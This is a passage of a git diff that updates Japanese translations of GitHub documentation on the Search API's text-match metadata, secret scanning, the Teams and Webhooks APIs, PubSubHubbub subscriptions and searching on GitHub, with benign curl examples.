+You need to successfully authenticate and have access to the repositories in your search queries, otherwise, you'll see a `422 Unprocessable Entry` error with a "Validation Failed" message. たとえば、{% data variables.product.prodname_dotcom %} にサインインしたときにアクセスできないリソースをリクエストする `repo:`、`user:`、または `org:` 修飾子がクエリに含まれている場合、検索は失敗します。
 
-When your search query requests multiple resources, the response will only contain the resources that you have access to and will **not** provide an error message listing the resources that were not returned.
+検索クエリで複数のリソースをリクエストする場合、レスポンスにはあなたがアクセスできるリソースのみが含まれ、返されないリソースを一覧表示するようなエラーメッセージは**表示されません**。
 
-For example, if your search query searches for the `octocat/test` and `codertocat/test` repositories, but you only have access to `octocat/test`, your response will show search results for `octocat/test` and nothing for `codertocat/test`. This behavior mimics how search works on {% data variables.product.prodname_dotcom %}.
+たとえば、検索クエリで `octocat/test` リポジトリと `codertocat/test` リポジトリを検索し、`octocat/test` へのアクセス権しか持っていない場合、`octocat/test` の検索結果が表示され、`codertocat/test` の検索結果は全く表示されません。 この振る舞いは、{% data variables.product.prodname_dotcom %} における検索の仕組みと同じです。
 
 {% include rest_operations_at_current_path %}
 
 
-### Text match metadata
+### テキスト一致メタデータ
 
-On GitHub, you can use the context provided by code snippets and highlights in search results. The Search API offers additional metadata that allows you to highlight the matching search terms when displaying search results.
+GitHub では、コードスニペットが提供するコンテキストとと、検索結果のハイライトが使用できます。 Search API では、検索結果を表示するときに、検索と一致した言葉をハイライトできる付加的なメタデータを用意しています。
 
 ![code-snippet-highlighting](/assets/images/text-match-search-api.png)
 
-Requests can opt to receive those text fragments in the response, and every fragment is accompanied by numeric offsets identifying the exact location of each matching search term.
+リクエストでは、レスポンスに含まれるテキストフラグメントを受け取ることを選べます。各フラグメントには、一致した各検索用語の正確な場所を特定する数値オフセットが付属しています。
 
-To get this metadata in your search results, specify the `text-match` media type in your `Accept` header.
+検索結果でこのメタデータを取得するには、`Accept` ヘッダで `text-match` メディアタイプを指定します。
 
 ```shell
 application/vnd.github.v3.text-match+json
 ```
 
-When you provide the `text-match` media type, you will receive an extra key in the JSON payload called `text_matches` that provides information about the position of your search terms within the text and the `property` that includes the search term. Inside the `text_matches` array, each object includes
-the following attributes:
+`text-match` メディアタイプを指定すると、JSON ペイロード内にある `text_matches` と呼ばれる追加の鍵を受け取ります。この鍵は、テキスト内の検索用語の位置と、検索用語を含む `property` についての情報を提供します。 `text_matches` 配列内の各オブジェクトには、以下の属性が含まれています。
 
-Name | Description
------|-----------|
-`object_url` | The URL for the resource that contains a string property matching one of the search terms.
-`object_type` | The name for the type of resource that exists at the given `object_url`.
-`property` | The name of a property of the resource that exists at `object_url`. That property is a string that matches one of the search terms. (In the JSON returned from `object_url`, the full content for the `fragment` will be found in the property with this name.)
-`fragment` | A subset of the value of `property`. This is the text fragment that matches one or more of the search terms.
-`matches` | An array of one or more search terms that are present in `fragment`. The indices (i.e., "offsets") are relative to the fragment. (They are not relative to the _full_ content of `property`.)
+| 名前            | 説明                                                                                                                                  |
+| ------------- | ----------------------------------------------------------------------------------------------------------------------------------- |
+| `object_url`  | 検索用語のいずれかに一致する文字列プロパティを含むリソースの URL。                                                                                                 |
+| `object_type` | 指定された `object_url` に存在するリソースのタイプの名前。                                                                                                |
+| `属性`          | `object_url` に存在するリソースのプロパティの名前。 このプロパティは、検索用語のいずれかに一致する文字列です。 (`object_url` から返される JSON では、`fragment` の完全な内容を、この名前でプロパティから検索できます。) |
+| `フラグメント`      | `property` の値のサブセット。 これは、1 つ以上の検索用語に一致するテキストフラグメントです。                                                                               |
+| `matches`     | `fragment` に存在する 1 つ以上の検索用語の配列。 インデックス (すなわち「オフセット」) は、フラグメントと関連しています。 (`property` の_完全な_内容とは関係していません。)                             |
 
-#### Example
+#### サンプル
 
-Using cURL, and the [example issue search](#search-issues-and-pull-requests) above, our API
-request would look like this:
+cURL と、上記の [Issue 検索例](#search-issues-and-pull-requests) を使用すると、API リクエストは次のようになります。
 
 ``` shell
 curl -H 'Accept: application/vnd.github.v3.text-match+json' \
 '{% data variables.product.api_url_pre %}/search/issues?q=windows+label:bug+language:python+state:open&sort=created&order=asc'
 ```
 
-The response will include a `text_matches` array for each search result. In the JSON below, we have two objects in the `text_matches` array.
+レスポンスには、検索結果ごとに `text_matches` 配列が含まれます。 以下の JSON では、`text_matches` 配列に 2 つのオブジェクトがあります。
 
-The first text match occurred in the `body` property of the issue. We see a fragment of text from the issue body. The search term (`windows`) appears twice within that fragment, and we have the indices for each occurrence.
+最初のテキスト一致は、Issue の `body` プロパティで発生しました 。 Issue 本文から、テキストのフラグメントが表示されています。 検索用語 (`windows`) はフラグメント内に 2 回出現し、それぞれにインデックスがあります。
 
-The second text match occurred in the `body` property of one of the issue's comments. We have the URL for the issue comment. And of course, we see a fragment of text from the comment body. The search term (`windows`) appears once within that fragment.
+2 番目のテキスト一致は、Issue のコメントのうちの 1 つの `body` プロパティで発生しました。 Issue コメントの URL があります。 そしてもちろん、コメント本文から、テキストのフラグメントが表示されています。 検索用語 (`windows`) は、フラグメント内で 1 回出現しています。
 
 ```json
 {
diff --git a/translations/ja-JP/content/rest/reference/secret-scanning.md b/translations/ja-JP/content/rest/reference/secret-scanning.md
index 2cb0e7cdf5..14156065de 100644
--- a/translations/ja-JP/content/rest/reference/secret-scanning.md
+++ b/translations/ja-JP/content/rest/reference/secret-scanning.md
@@ -1,6 +1,6 @@
 ---
 title: Secret scanning
-intro: 'To retrieve and update the secret alerts from a private repository, you can use Secret Scanning API.'
+intro: プライベートリポジトリからのシークレットアラートを取得して更新するには、Secret Scanning APIが利用できます。
 versions:
   fpt: '*'
   ghes: '>=3.1'
@@ -17,6 +17,6 @@ The {% data variables.product.prodname_secret_scanning %} API lets you{% ifversi
 - Retrieve and update {% data variables.product.prodname_secret_scanning %} alerts from a {% ifversion fpt or ghec %}private {% endif %}repository. For futher details, see the sections below.
 {%- else %} retrieve and update {% data variables.product.prodname_secret_scanning %} alerts from a {% ifversion fpt or ghec %}private {% endif %}repository.{% endif %}
 
-For more information about {% data variables.product.prodname_secret_scanning %}, see "[About {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/about-secret-scanning)."
+{% data variables.product.prodname_secret_scanning %} の詳細については、「[{% data variables.product.prodname_secret_scanning %} について](/code-security/secret-security/about-secret-scanning)」を参照してください。
 
 {% include rest_operations_at_current_path %}
diff --git a/translations/ja-JP/content/rest/reference/teams.md b/translations/ja-JP/content/rest/reference/teams.md
index 2e05e37ba8..9eec16ca07 100644
--- a/translations/ja-JP/content/rest/reference/teams.md
+++ b/translations/ja-JP/content/rest/reference/teams.md
@@ -1,6 +1,6 @@
 ---
-title: Teams
-intro: 'With the Teams API, you can create and manage teams in your {% data variables.product.product_name %} organization.'
+title: Team
+intro: 'Team APIを使うと、{% data variables.product.product_name %} Organization内のTeamの作成や管理ができます。'
 redirect_from:
   - /v3/teams
 versions:
@@ -13,36 +13,36 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
-This API is only available to authenticated members of the team's [organization](/rest/reference/orgs). OAuth access tokens require the `read:org` [scope](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/). {% data variables.product.prodname_dotcom %}  generates the team's `slug` from the team `name`.
+この API は、Team の [Organization](/rest/reference/orgs) の、認証済みメンバーのみが利用できます。 OAuth のアクセストークンは、 `read:org` [スコープ](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/)を必要とします。 {% data variables.product.prodname_dotcom %} は、Team の `name` からTeam の `slug` を生成します。
 
 {% for operation in currentRestOperations %}
   {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
 {% endfor %}
 
-## Discussions
+## ディスカッション
 
-The team discussions API allows you to get, create, edit, and delete discussion posts on a team's page. You can use team discussions to have conversations that are not specific to a repository or project. Any member of the team's [organization](/rest/reference/orgs) can create and read public discussion posts. For more details, see "[About team discussions](//organizations/collaborating-with-your-team/about-team-discussions/)." To learn more about commenting on a discussion post, see the [team discussion comments API](/rest/reference/teams#discussion-comments). This API is only available to authenticated members of the team's organization.
+Team ディスカッション API を使用すると、Team のページに投稿されたディスカッションを取得、作成、編集、削除できます。 Team のディスカッションは、リポジトリやプロジェクトに原生されない会話をするために利用できます。 Team の [Organization](/rest/reference/orgs) に属する全メンバーが、公開のディスカッション投稿を作成や表示できます。 詳細については「[Teamディスカッションについて](//organizations/collaborating-with-your-team/about-team-discussions/)」を参照してください。 ディスカッションの投稿に対するコメントの詳細については、「[Team ディスカッションのコメント API](/rest/reference/teams#discussion-comments)」を参照してください。 この API は、Team の Organization の、認証済みメンバーのみが利用できます。
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'discussions' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Discussion comments
+## ディスカッションコメント
 
-The team discussion comments API allows you to get, create, edit, and delete discussion comments on a [team discussion](/rest/reference/teams#discussions) post. Any member of the team's [organization](/rest/reference/orgs) can create and read comments on a public discussion. For more details, see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions/)." This API is only available to authenticated members of the team's organization.
+Team ディスカッションコメント API を使用すると、[Team ディスカッション](/rest/reference/teams#discussions)投稿のコメントを取得、作成、編集、削除できます。 Team の [Organization](/rest/reference/orgs) に属する全メンバーが、公開のディスカッションについたコメントを作成や表示できます。 詳細については「[Teamディスカッションについて](/organizations/collaborating-with-your-team/about-team-discussions/)」を参照してください。 この API は、Team の Organization の、認証済みメンバーのみが利用できます。
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'discussion-comments' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Members
+## メンバー
 
-This API is only available to authenticated members of the team's organization. OAuth access tokens require the `read:org` [scope](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/).
+この API は、Team の Organization の、認証済みメンバーのみが利用できます。 OAuth のアクセストークンは、 `read:org` [スコープ](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/)を必要とします。
 
 {% ifversion fpt or ghes or ghec %}
 {% note %}
 
-**Note:** When you have team synchronization set up for a team with your organization's identity provider (IdP), you will see an error if you attempt to use the API for making changes to the team's membership. If you have access to manage group membership in your IdP, you can manage GitHub team membership through your identity provider, which automatically adds and removes team members in an organization. For more information, see "<a href="/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization" class="dotcom-only">Synchronizing teams between your identity provider and GitHub</a>."
+**ノート: ** Organizationのアイデンティティプロバイダ（Idp）でTeamに同期をセットアップしている場合、Teamのメンバーシップを変更するためのこのAPIを使おうとすると、エラーが返されます。 グループのメンバーシップを管理するためにIdpにアクセスできるなら、GitHubのTeamメンバーシップをアイデンティティプロバイダを通じて管理できます。そうすれば、Organizationで自動的にTeamメンバーの追加や削除が行われます。 詳しい情報については「<a href="/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization" class="dotcom-only">アイデンティティプロバイダとGitHub間でのTeamの同期</a>」を参照してください。
 
 {% endnote %}
 
@@ -57,12 +57,12 @@ This API is only available to authenticated members of the team's organization.
 
 The external groups API allows you to view the external identity provider groups that are available to your organization and manage the connection between external groups and teams in your organization.
 
-To use this API, the authenticated user must be a team maintainer or an owner of the organization associated with the team.
+この API を使用するには、認証されたユーザーがチームメンテナまたは Team に関連づけられた Organization のコードオーナーである必要があります。
 
 {% ifversion ghec %}
 {% note %}
 
-**Notes:** 
+**ノート:**
 
 - The external groups API is only available for organizations that are part of a enterprise using {% data variables.product.prodname_emus %}. For more information, see "[About Enterprise Managed Users](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)."
 - If your organization uses team synchronization, you can use the Team Synchronization API. For more information, see "[Team synchronization API](#team-synchronization)."
@@ -77,11 +77,11 @@ To use this API, the authenticated user must be a team maintainer or an owner of
 {% endif %}
 
 {% ifversion fpt or ghes or ghec %}
-## Team synchronization
+## Team の同期
 
-The Team Synchronization API allows you to manage connections between {% data variables.product.product_name %} teams and external identity provider (IdP) groups. To use this API, the authenticated user must be a team maintainer or an owner of the organization associated with the team. The token you use to authenticate will also need to be authorized for use with your IdP (SSO) provider. For more information, see "<a href="/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on" class="dotcom-only">Authorizing a personal access token for use with a SAML single sign-on organization</a>."
+Team Synchronization API では、{% data variables.product.product_name %} Team と外部アイデンティティプロバイダ (IdP) グループとの間の接続を管理できます。 この API を使用するには、認証されたユーザーがチームメンテナまたは Team に関連づけられた Organization のコードオーナーである必要があります。 また、認証に使用するトークンも、お使いの IdP (SSO) プロバイダーで使用するための認可を受けている必要があります。 詳しい情報については<a href="/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on" class="dotcom-only">SAML シングルサインオンの Organization で使うために個人アクセストークンを認可する</a>を参照してください。
 
-You can manage GitHub team members through your IdP with team synchronization. Team synchronization must be enabled to use the Team Synchronization API. For more information, see "<a href="/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization" class="dotcom-only">Synchronizing teams between your identity provider and GitHub</a>."
+Team 同期を使用して、IdPを通じて GitHubTeamメンバーを管理できます。 Team Synchronization API を使用するには、チーム同期が有効である必要があります。 詳しい情報については「<a href="/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization" class="dotcom-only">アイデンティティプロバイダとGitHub間でのTeamの同期</a>」を参照してください。
 
 {% note %}
 
diff --git a/translations/ja-JP/content/rest/reference/webhooks.md b/translations/ja-JP/content/rest/reference/webhooks.md
index c9908012c1..916985728a 100644
--- a/translations/ja-JP/content/rest/reference/webhooks.md
+++ b/translations/ja-JP/content/rest/reference/webhooks.md
@@ -1,6 +1,6 @@
 ---
-title: Webhooks
-intro: 'The webhooks API allows you to create and manage webhooks for your repositories.'
+title: webhook
+intro: The webhooks API allows you to create and manage webhooks for your repositories.
 allowTitleToDifferFromFilename: true
 versions:
   fpt: '*'
@@ -14,48 +14,65 @@ miniTocMaxHeadingLevel: 3
 
 Repository webhooks allow you to receive HTTP `POST` payloads whenever certain events happen in a repository. {% data reusables.webhooks.webhooks-rest-api-links %}
 
-If you would like to set up a single webhook to receive events from all of your organization's repositories, see our API documentation for [Organization Webhooks](/rest/reference/orgs#webhooks).
+Organization のすべてのリポジトリからイベントを受信するため単一の webhook を設定する場合は、[Organization Webhooks](/rest/reference/orgs#webhooks) の API ドキュメントを参照してください。
 
 In addition to the REST API, {% data variables.product.prodname_dotcom %} can also serve as a [PubSubHubbub](#pubsubhubbub) hub for repositories.
 
 {% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'webhooks' %}{% include rest_operation %}{% endif %}
+  {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
 {% endfor %}
 
-### Receiving Webhooks
+## リポジトリ webhook
 
-In order for {% data variables.product.product_name %} to send webhook payloads, your server needs to be accessible from the Internet. We also highly suggest using SSL so that we can send encrypted payloads over HTTPS.
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'repos' %}{% include rest_operation %}{% endif %}
+{% endfor %}
 
-#### Webhook headers
+## Repository webhook configuration
 
-{% data variables.product.product_name %} will send along several HTTP headers to differentiate between event types and payload identifiers. See [webhook headers](/developers/webhooks-and-events/webhook-events-and-payloads#delivery-headers) for details.
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'repo-config' %}{% include rest_operation %}{% endif %}
+{% endfor %}
 
-### PubSubHubbub
+## Repository webhook deliveries
 
-GitHub can also serve as a [PubSubHubbub](https://github.com/pubsubhubbub/PubSubHubbub) hub for all repositories. PSHB is a simple publish/subscribe protocol that lets servers register to receive updates when a topic is updated. The updates are sent with an HTTP POST request to a callback URL.
-Topic URLs for a GitHub repository's pushes are in this format:
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'repo-deliveries' %}{% include rest_operation %}{% endif %}
+{% endfor %}
+
+## webhook の受信
+
+{% data variables.product.product_name %} で webhook ペイロードを送信するには、インターネットからサーバーにアクセスできる必要があります。 暗号化されたペイロードを HTTPS 経由で送信できるように、SSL の使用も強く推奨します。
+
+### webhook ヘッダー
+
+{% data variables.product.product_name %} は、イベントタイプとペイロード識別子を区別するために、複数の HTTP ヘッダーも送信します。 詳細は「[webhook ヘッダー](/developers/webhooks-and-events/webhook-events-and-payloads#delivery-headers)」を参照してください。
+
+## PubSubHubbub
+
+GitHub は、すべてのリポジトリに対する [PubSubHubbub](https://github.com/pubsubhubbub/PubSubHubbub) のハブとして機能することもできます。 PSHB はシンプルな公開/サブスクライブプロトコルで、トピックが更新されたときにサーバーが更新を受信できるよう登録できます。 更新は HTTP POST リクエストでコールバック URL に送信されます。 GitHub リポジトリのプッシュに対するトピック URL のフォーマットは以下の通りです。
 
 `https://github.com/{owner}/{repo}/events/{event}`
 
-The event can be any available webhook event. For more information, see "[Webhook events and payloads](/developers/webhooks-and-events/webhook-events-and-payloads)."
+イベントには、任意の使用可能な webhook イベントを指定します。 詳しい情報については、「[webhook イベントとペイロード](/developers/webhooks-and-events/webhook-events-and-payloads)」を参照してください。
 
-#### Response format
+### レスポンスのフォーマット
 
-The default format is what [existing post-receive hooks should expect](/post-receive-hooks/): A JSON body sent as the `payload` parameter in a POST.  You can also specify to receive the raw JSON body with either an `Accept` header, or a `.json` extension.
+デフォルトのフォーマットは、[既存の post-receive フックから予想できます](/post-receive-hooks/)。すなわち、POST で `payload` パラメータとして送信される JSON の本文です。  また、`Accept` ヘッダまたは `.json` 拡張子で、Raw 形式の JSON 本文を受信するよう指定できます。
 
     Accept: application/json
     https://github.com/{owner}/{repo}/events/push.json
 
-#### Callback URLs
+### コールバック URL
 
-Callback URLs can use the `http://` protocol.
+コールバック URL は `http://` プロトコルを使用できます。
 
     # Send updates to postbin.org
     http://postbin.org/123
 
-#### Subscribing
+### サブスクライブ
 
-The GitHub PubSubHubbub endpoint is: `{% data variables.product.api_url_code %}/hub`. A successful request with curl looks like:
+GitHub PubSubHubbub のエンドポイントは `{% data variables.product.api_url_code %}/hub` です。 curl でリクエストに成功すると、以下のように表示されます。
 
 ``` shell
 curl -u "user" -i \
@@ -65,13 +82,13 @@ curl -u "user" -i \
   -F "hub.callback=http://postbin.org/123"
 ```
 
-PubSubHubbub requests can be sent multiple times. If the hook already exists, it will be modified according to the request.
+PubSubHubbub リクエストは複数回送信できます。 フックがすでに存在する場合は、リクエストに従って変更されます。
 
-##### Parameters
+#### パラメータ
 
-Name | Type | Description
------|------|--------------
-``hub.mode``|`string` | **Required**. Either `subscribe` or `unsubscribe`.
-``hub.topic``|`string` |**Required**.  The URI of the GitHub repository to subscribe to.  The path must be in the format of `/{owner}/{repo}/events/{event}`.
-``hub.callback``|`string` | The URI to receive the updates to the topic.
-``hub.secret``|`string` | A shared secret key that generates a hash signature of the outgoing body content.  You can verify a push came from GitHub by comparing the raw request body with the contents of the {% ifversion fpt or ghes > 2.22 or ghec %}`X-Hub-Signature` or `X-Hub-Signature-256` headers{% elsif ghes < 3.0 %}`X-Hub-Signature` header{% elsif ghae %}`X-Hub-Signature-256` header{% endif %}. You can see [the PubSubHubbub documentation](https://pubsubhubbub.github.io/PubSubHubbub/pubsubhubbub-core-0.4.html#authednotify) for more details.
+| 名前             | 種類       | 説明                                                                                                                                                                                                                                                                                                                                                                                       |
+| -------------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `hub.mode`     | `string` | **必須**。 `subscribe` または `unsubscribe`。                                                                                                                                                                                                                                                                                                                                                   |
+| `hub.topic`    | `string` | **必須**。  GitHub リポジトリがサブスクライブする URI。  パスのフォーマットは `/{owner}/{repo}/events/{event}` としてください。                                                                                                                                                                                                                                                                                               |
+| `hub.callback` | `string` | トピックの更新を受信する URI。                                                                                                                                                                                                                                                                                                                                                                        |
+| `hub.secret`   | `string` | 送信する本文コンテンツの ハッシュ署名を生成する共有秘密鍵。  GitHubからきたプッシュを、そのリクエストのボディを{% ifversion fpt or ghes > 2.22 or ghec %}`X-Hub-Signature`もしくは`X-Hub-Signature-256`ヘッダ{% elsif ghes < 3.0 %}`X-Hub-Signature`ヘッダ{% elsif ghae %}`X-Hub-Signature-256`ヘッダ{% endif %}と比較して、検証できます。 詳細は、 [PubSubHubbub のドキュメント](https://pubsubhubbub.github.io/PubSubHubbub/pubsubhubbub-core-0.4.html#authednotify)を参照してください。 |
diff --git a/translations/ja-JP/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md b/translations/ja-JP/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md
index 74e1a19074..ee3583001d 100644
--- a/translations/ja-JP/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md
+++ b/translations/ja-JP/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md
@@ -1,6 +1,6 @@
 ---
-title: About searching on GitHub
-intro: 'Our integrated search covers the many repositories, users, and lines of code on {% data variables.product.product_name %}.'
+title: GitHub での検索について
+intro: 'GitHub の統合検索機能は、{% data variables.product.product_name %}上の多くのリポジトリ、ユーザ、コードの行が対象です。'
 redirect_from:
   - /articles/using-the-command-bar
   - /articles/github-search-basics
@@ -18,48 +18,49 @@ versions:
 topics:
   - GitHub search
 ---
+
 {% data reusables.search.you-can-search-globally %}
 
-- To search globally across all of {% data variables.product.product_name %}, type what you're looking for into the search field at the top of any page, and choose "All {% data variables.product.prodname_dotcom %}" in the search drop-down menu.
-- To search within a particular repository or organization, navigate to the repository or organization page, type what you're looking for into the search field at the top of the page, and press **Enter**.
+- {% data variables.product.product_name %} 全体にわたってグローバルに検索するには、探している内容を任意のページの上部にある検索フィールドに入力し、[All {% data variables.product.prodname_dotcom %}] を検索ドロップダウンメニューで選択します。
+- 特定のリポジトリあるいは Organization 内で検索するには、そのリポジトリあるいは Organization のページにアクセスし、検索する内容をページの上部にある検索フィールドに入力し、**Enter** を押してください。
 
 {% note %}
 
-**Notes:**
+**ノート:**
 
 {% ifversion fpt or ghes or ghec %}
 - {% data reusables.search.required_login %}{% endif %}
-- {% data variables.product.prodname_pages %} sites are not searchable on {% data variables.product.product_name %}. However you can search the source content if it exists in the default branch of a repository, using code search. For more information, see "[Searching code](/search-github/searching-on-github/searching-code)." For more information about {% data variables.product.prodname_pages %}, see "[What is GitHub Pages?](/articles/what-is-github-pages/)"
-- Currently our search doesn't support exact matching.
-- Whenever you are searching in code files, only the first two results in each file will be returned.
+- {% data variables.product.prodname_pages %}サイトは、{% data variables.product.product_name %}上では検索できません。 ただし、コンテンツのソースがリポジトリのデフォルトブランチにある場合は、コード検索を使って検索できます。 詳しい情報については[コードの検索](/search-github/searching-on-github/searching-code)を参照してください。 {% data variables.product.prodname_pages %}に関する詳しい情報については、[GitHub Pages とは何ですか？ ](/articles/what-is-github-pages/)を参照してください。
+- 現在、GitHub の検索は完全一致をサポートしていません。
+- コードファイルのどこを検索しても、返されるのは各ファイルで最初の 2 つの結果のみです。
 
 {% endnote %}
 
-After running a search on {% data variables.product.product_name %}, you can sort the results, or further refine them by clicking one of the languages in the sidebar. For more information, see "[Sorting search results](/search-github/getting-started-with-searching-on-github/sorting-search-results)."
+{% data variables.product.product_name %}上で検索を行った後、結果をソートしたり、サイドバー内の言語の 1 つをクリックしてさらに絞り込んだりすることができます。 詳しい情報については[検索結果のソート](/search-github/getting-started-with-searching-on-github/sorting-search-results)を参照してください。
 
-{% data variables.product.product_name %} search uses an ElasticSearch cluster to index projects every time a change is pushed to {% data variables.product.product_name %}. Issues and pull requests are indexed when they are created or modified.
+{% data variables.product.product_name %}の検索は、変更が {% data variables.product.product_name %}にプッシュされるたびにプロジェクトを Elasticsearch クラスタを使ってインデックス付けしています。 Issue やプルリクエストは、作成あるいは変更されると同時にインデックス付けされます。
 
-## Types of searches on {% data variables.product.prodname_dotcom %}
+## {% data variables.product.prodname_dotcom %}での検索の種類
 
-You can search for the following information across all repositories you can access on {% data variables.product.product_location %}.
+以下の情報は、{% data variables.product.product_location %} でアクセスできるすべてのリポジトリから検索できます。
 
-- [Repositories](/search-github/searching-on-github/searching-for-repositories)
+- [リポジトリ](/search-github/searching-on-github/searching-for-repositories)
 - [Topics](/search-github/searching-on-github/searching-topics)
-- [Issues and pull requests](/search-github/searching-on-github/searching-issues-and-pull-requests){% ifversion fpt or ghec %}
-- [Discussions](/search-github/searching-on-github/searching-discussions){% endif %}
-- [Code](/search-github/searching-on-github/searching-code)
-- [Commits](/search-github/searching-on-github/searching-commits)
-- [Users](/search-github/searching-on-github/searching-users)
+- [Issue およびプルリクエスト](/search-github/searching-on-github/searching-issues-and-pull-requests){% ifversion fpt or ghec %}
+- [ディスカッション](/search-github/searching-on-github/searching-discussions){% endif %}
+- [コード](/search-github/searching-on-github/searching-code)
+- [コミット](/search-github/searching-on-github/searching-commits)
+- [ユーザ](/search-github/searching-on-github/searching-users)
 - [Packages](/search-github/searching-on-github/searching-for-packages)
-- [Wikis](/search-github/searching-on-github/searching-wikis)
+- [Wiki](/search-github/searching-on-github/searching-wikis)
 
-## Searching using a visual interface
+## ビジュアルインターフェースを使った検索
 
 You can search {% data variables.product.product_name %} using the {% data variables.search.search_page_url %} or {% data variables.search.advanced_url %}. {% if command-palette %}Alternatively, you can use the interactive search in the {% data variables.product.prodname_command_palette %} to search your current location in the UI, a specific user, repository or organization, and globally across all of {% data variables.product.product_name %}, without leaving the keyboard. For more information, see "[{% data variables.product.prodname_command_palette %}](/get-started/using-github/github-command-palette)."{% endif %}
 
-The {% data variables.search.advanced_url %} provides a visual interface for constructing search queries. You can filter your searches by a variety of factors, such as the number of stars or number of forks a repository has. As you fill in the advanced search fields, your query will automatically be constructed in the top search bar.
+{% data variables.search.advanced_url %}は、検索クエリを構築するビジュアルなインターフェースを提供します。 検索は、Star 数やリポジトリの持つフォーク数など、様々な要素でフィルタリングできます。 高度な検索フィールドに記入していくに従って、上部の検索バーでは自動的にクエリが構築されていきます。
 
-![Advanced Search](/assets/images/help/search/advanced_search_demo.gif)
+![高度な検索](/assets/images/help/search/advanced_search_demo.gif)
 
 {% ifversion fpt or ghes or ghae or ghec %}
 
@@ -74,7 +75,7 @@ If you use {% ifversion fpt or ghec %}{% data variables.product.prodname_ghe_ser
 
 {% ifversion ghes or ghae %}
 
-To scope your search by environment, you can use a filter option on the {% data variables.search.advanced_url %} or you can use the `environment:` search prefix. To only search for content on {% data variables.product.product_name %}, use the search syntax `environment:local`. To only search for content on {% data variables.product.prodname_dotcom_the_website %}, use `environment:github`.
+検索の範囲を環境で狭めるには、{% data variables.search.advanced_url %} 上のフィルタオプションを使うか、検索プレフィックス `environment:` を利用できます。 {% data variables.product.product_name %} 上のコンテンツだけを検索するには、`environment:local` という検索構文を使います。 {% data variables.product.prodname_dotcom_the_website %} 上のコンテンツだけを検索するには`environment:github` を使います。
 
 Your enterprise owner on {% data variables.product.product_name %} can enable {% data variables.product.prodname_unified_search %} for all public repositories, all private repositories, or only certain private repositories in the connected {% data variables.product.prodname_ghe_cloud %} organization.
 
@@ -84,7 +85,7 @@ When you search from {% data variables.product.product_name %}, you can only sea
 
 {% endif %}
 
-## Further reading
+## 参考リンク
 
-- "[Understanding the search syntax](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax)"
-- "[Searching on GitHub](/articles/searching-on-github)"
+- [検索構文を理解する](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax)
+- [GitHub での検索](/articles/searching-on-github)
diff --git a/translations/ja-JP/content/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment.md b/translations/ja-JP/content/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment.md
index 2e98bbd3ee..3bcb810dbf 100644
--- a/translations/ja-JP/content/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment.md
+++ b/translations/ja-JP/content/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment.md
@@ -22,7 +22,7 @@ topics:
 
 You can search for designated private repositories on {% data variables.product.prodname_ghe_cloud %} from {% ifversion fpt or ghec %}your private {% data variables.product.prodname_enterprise %} environment{% else %}{% data variables.product.product_location %}{% ifversion ghae %} on {% data variables.product.prodname_ghe_managed %}{% endif %}{% endif %}. {% ifversion fpt or ghec %}For example, if you use {% data variables.product.prodname_ghe_server %}, you can search for private repositories from your enterprise from {% data variables.product.prodname_ghe_cloud %} in the web interface for {% data variables.product.prodname_ghe_server %}.{% endif %}
 
-## Prerequisites
+## 必要な環境
 
 - An enterprise owner for {% ifversion fpt or ghec %}your private {% data variables.product.prodname_enterprise %} environment{% else %}{% data variables.product.product_name %}{% endif %} must enable {% data variables.product.prodname_github_connect %} and {% data variables.product.prodname_unified_search %} for private repositories. For more information, see the following.{% ifversion fpt or ghes or ghec %}
   - "[Enabling {% data variables.product.prodname_unified_search %} between your enterprise account and {% data variables.product.prodname_dotcom_the_website %}](/{% ifversion ghes %}{{ currentVersion }}{% else %}enterprise-server@latest{% endif %}/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom)"{% ifversion fpt or ghec %} in the {% data variables.product.prodname_ghe_server %} documentation{% endif %}{% endif %}{% ifversion fpt or ghec or ghae %}
@@ -37,16 +37,15 @@ You can search for designated private repositories on {% data variables.product.
 
 For more information, see the following.
 
-| Your enterprise environment | More information |
-| :- | :- |
-| {% data variables.product.prodname_ghe_server %} | "[Enabling {% data variables.product.prodname_dotcom_the_website %} repository search from your private enterprise environment](/enterprise-server@latest/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment#enabling-githubcom-repository-search-from-github-enterprise-server)" |
